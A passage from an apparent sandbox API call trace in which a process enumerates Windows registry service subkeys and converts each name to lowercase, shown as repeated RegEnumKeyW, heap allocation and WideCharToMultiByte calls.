returned 1 [0248.977] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0248.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0248.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f18e0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0248.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.977] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0248.977] RegCloseKey (hKey=0x154) returned 0x0 [0248.977] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0248.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0248.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.977] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0248.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.977] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0248.977] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.978] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0248.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0248.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f19b8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0248.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.978] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0248.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f18e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0248.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.978] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0248.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.978] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0248.978] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.978] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.978] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x154) returned 0x0 [0248.978] RegCloseKey (hKey=0x148) returned 0x0 [0248.979] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0248.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0248.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.979] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0248.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0248.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f19b8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0248.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.979] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0248.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0248.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f18e0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0248.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.979] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0248.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0248.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f19b8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0248.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.980] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0248.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0248.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f18e0, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0248.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.980] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0248.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0248.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f19b8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0248.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.980] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0248.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0248.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f18e0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0248.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.980] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.981] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0248.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0248.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.981] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0248.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f18e0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0248.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.981] RegEnumKeyW (in: hKey=0x154, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0248.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0248.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.981] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.981] RegEnumKeyW (in: hKey=0x154, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0248.981] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0248.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f18e0, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0248.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.982] RegEnumKeyW (in: hKey=0x154, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0248.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0248.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.982] RegEnumKeyW (in: hKey=0x154, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0248.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f18e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0248.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.982] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.982] RegEnumKeyW (in: hKey=0x154, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0248.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0248.982] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0248.982] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f18e0 [0248.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0248.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f18e0) returned 1 [0248.983] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.983] RegEnumKeyW (in: hKey=0x154, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0248.983] RtlAllocateHeap 